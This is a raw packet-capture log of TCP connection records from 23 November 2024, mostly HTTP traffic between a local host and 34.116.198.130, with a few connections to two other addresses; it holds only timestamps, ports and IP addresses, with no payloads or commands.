Nov 23, 2024 13:28:34.090002060 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:34.090043068 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:34.119712114 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:34.119780064 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:34.119977951 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:34.120594978 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:34.120661974 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:34.121705055 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:34.161794901 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:34.161865950 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:34.162103891 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:34.180794954 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:34.180865049 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:34.180919886 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:34.182410002 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:34.182528973 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:34.182571888 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:34.185725927 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:34.186749935 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:34.186804056 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:34.186822891 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:34.189959049 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:34.190016031 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:34.190073967 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:34.193291903 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:34.193352938 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:34.193372011 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:34.196595907 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:34.196640015 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:34.196726084 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:34.199934006 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:34.199944019 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:34.199975967 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:34.205533028 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:34.205610991 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:34.205645084 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:34.207237959 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:34.207278013 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:34.207308054 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:34.227529049 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:34.227580070 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:34.227616072 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:34.229013920 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:34.229057074 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:34.247942924 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:34.248051882 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:34.248092890 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:34.249516964 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:34.249584913 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:34.250844955 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:34.288645983 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:34.288785934 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:34.288830042 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:34.290324926 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:34.290431976 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:34.290477037 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:34.292601109 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:34.292684078 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:34.292718887 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:34.294838905 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:34.295043945 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:34.295099020 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:34.297899961 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:34.297991037 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:34.298058033 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:34.332781076 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:34.332880020 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:34.333901882 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:34.334259033 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:34.334424973 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:34.334460974 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:34.337316036 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:34.337444067 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:34.337491035 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:34.340441942 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:34.375118017 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:34.375184059 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:34.375211000 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:34.376543999 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:34.376589060 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:34.376682997 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:34.379645109 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:34.379713058 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:34.379729986 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:34.423804045 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:34.501127958 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:34.501142025 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:34.501188993 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:34.532634020 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:34.532655954 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:34.532732964 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:34.620353937 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:34.621395111 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:34.621445894 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:34.629761934 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:34.654334068 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:34.654387951 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:34.692455053 CET	49771	80	192.168.2.6	185.215.113.43
Nov 23, 2024 13:28:34.692730904 CET	49793	80	192.168.2.6	185.215.113.43
Nov 23, 2024 13:28:34.747689009 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:34.747706890 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:34.747718096 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:34.747735023 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:34.747765064 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:34.747772932 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:34.747776985 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:34.747786999 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:34.747798920 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:34.747809887 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:34.747821093 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:34.747828007 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:34.747853041 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:34.747859001 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:34.747869015 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:34.747879982 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:34.747891903 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:34.747900963 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:34.747901917 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:34.747912884 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:34.747924089 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:34.747936964 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:34.747939110 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:34.747967958 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:34.747982025 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:34.747982025 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:34.747993946 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:34.748018026 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:34.748023987 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:34.748028994 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:34.748037100 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:34.748048067 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:34.748060942 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:34.748069048 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:34.748071909 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:34.748087883 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:34.748091936 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:34.748100042 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:34.748106003 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:34.748110056 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:34.748120070 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:34.748131037 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:34.748131037 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:34.748141050 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:34.748153925 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:34.748156071 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:34.748163939 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:34.748176098 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:34.748187065 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:34.748195887 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:34.748197079 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:34.748207092 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:34.748218060 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:34.748222113 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:34.748234987 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:34.748234987 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:34.748246908 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:34.748270988 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:34.748287916 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:34.748298883 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:34.748308897 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:34.748320103 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:34.748336077 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:34.748347044 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:34.748357058 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:34.748367071 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:34.748378038 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:34.748387098 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:34.748390913 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:34.748400927 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:34.748409986 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:34.748411894 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:34.748420954 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:34.748447895 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:34.748457909 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:34.748553038 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:34.748564959 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:34.748574972 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:34.748584032 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:34.748594046 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:34.748600006 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:34.748605013 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:34.748610973 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:34.748616934 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:34.748617887 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:34.748622894 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:34.748634100 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:34.748639107 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:34.748645067 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:34.748665094 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:34.748676062 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:34.748687983 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:34.748692036 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:34.748698950 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:34.748708963 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:34.748714924 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:34.748729944 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:34.754252911 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:34.754302025 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:34.754348040 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:34.755734921 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:34.755793095 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:34.755812883 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:34.757929087 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:34.758047104 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:34.758088112 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:34.760947943 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:34.761049986 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:34.761105061 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:34.763927937 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:34.764064074 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:34.769603968 CET	49794	443	192.168.2.6	104.21.33.116
Nov 23, 2024 13:28:34.769659996 CET	443	49794	104.21.33.116	192.168.2.6
Nov 23, 2024 13:28:34.769803047 CET	49794	443	192.168.2.6	104.21.33.116
Nov 23, 2024 13:28:34.773176908 CET	49794	443	192.168.2.6	104.21.33.116
Nov 23, 2024 13:28:34.773209095 CET	443	49794	104.21.33.116	192.168.2.6
Nov 23, 2024 13:28:34.795728922 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:34.795789957 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:34.795838118 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:34.812206030 CET	80	49793	185.215.113.43	192.168.2.6
Nov 23, 2024 13:28:34.812280893 CET	49793	80	192.168.2.6	185.215.113.43
Nov 23, 2024 13:28:34.812540054 CET	80	49771	185.215.113.43	192.168.2.6
Nov 23, 2024 13:28:34.812593937 CET	49771	80	192.168.2.6	185.215.113.43
Nov 23, 2024 13:28:34.812933922 CET	49793	80	192.168.2.6	185.215.113.43
Nov 23, 2024 13:28:34.856829882 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:34.856893063 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:34.857021093 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:34.858175039 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:34.858309031 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:34.858357906 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:34.861164093 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:34.869143009 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:34.869157076 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:34.869198084 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:34.870218039 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:34.870290995 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:34.870317936 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:34.873780966 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:34.873826981 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:34.873903990 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:34.876224041 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:34.876279116 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:34.876333952 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:34.878696918 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:34.878772974 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:34.878787041 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:34.881134987 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:34.881202936 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:34.881234884 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:34.883644104 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:34.884052038 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:34.884680033 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:34.884804010 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:34.884861946 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:34.886708021 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:34.886812925 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:34.886854887 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:34.922487974 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:34.922621965 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:34.922759056 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:34.932492018 CET	80	49793	185.215.113.43	192.168.2.6
Nov 23, 2024 13:28:34.964641094 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:34.964704990 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:34.964824915 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:34.984674931 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:34.984772921 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:34.984834909 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:34.985877991 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:34.986469984 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:34.986515999 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:34.986529112 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:34.988730907 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:34.990854025 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:35.016297102 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:35.016364098 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:35.016555071 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:35.017334938 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:35.027620077 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:35.027748108 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:35.027852058 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:35.028814077 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:35.031877041 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:35.055299997 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:35.055394888 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:35.055509090 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:35.056320906 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:35.067627907 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:35.067665100 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:35.067733049 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:35.070585012 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:35.070672035 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:35.070720911 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:35.095117092 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:35.095154047 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:35.095247984 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:35.108603954 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:35.108620882 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:35.108664036 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:35.109731913 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:35.109776020 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:35.111996889 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:35.112111092 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:35.112176895 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:35.113197088 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:35.132766008 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:35.132801056 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:35.132834911 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:35.150763035 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:35.150832891 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:35.150836945 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:35.151933908 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:35.151978016 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:35.165605068 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:35.165700912 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:35.166193008 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:35.166788101 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:35.192955017 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:35.193007946 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:35.193043947 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:35.194206953 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:35.194256067 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:35.256726027 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:35.256820917 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:35.257029057 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:35.257903099 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:35.273133993 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:35.273165941 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:35.273185968 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:35.282146931 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:35.282207012 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:35.282244921 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:35.283350945 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:35.283401966 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:35.283435106 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:35.285238028 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:35.285281897 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:35.285312891 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:35.287578106 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:35.287755966 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:35.341223955 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:35.341353893 CET	80	49758	34.116.198.130	192.168.2.6
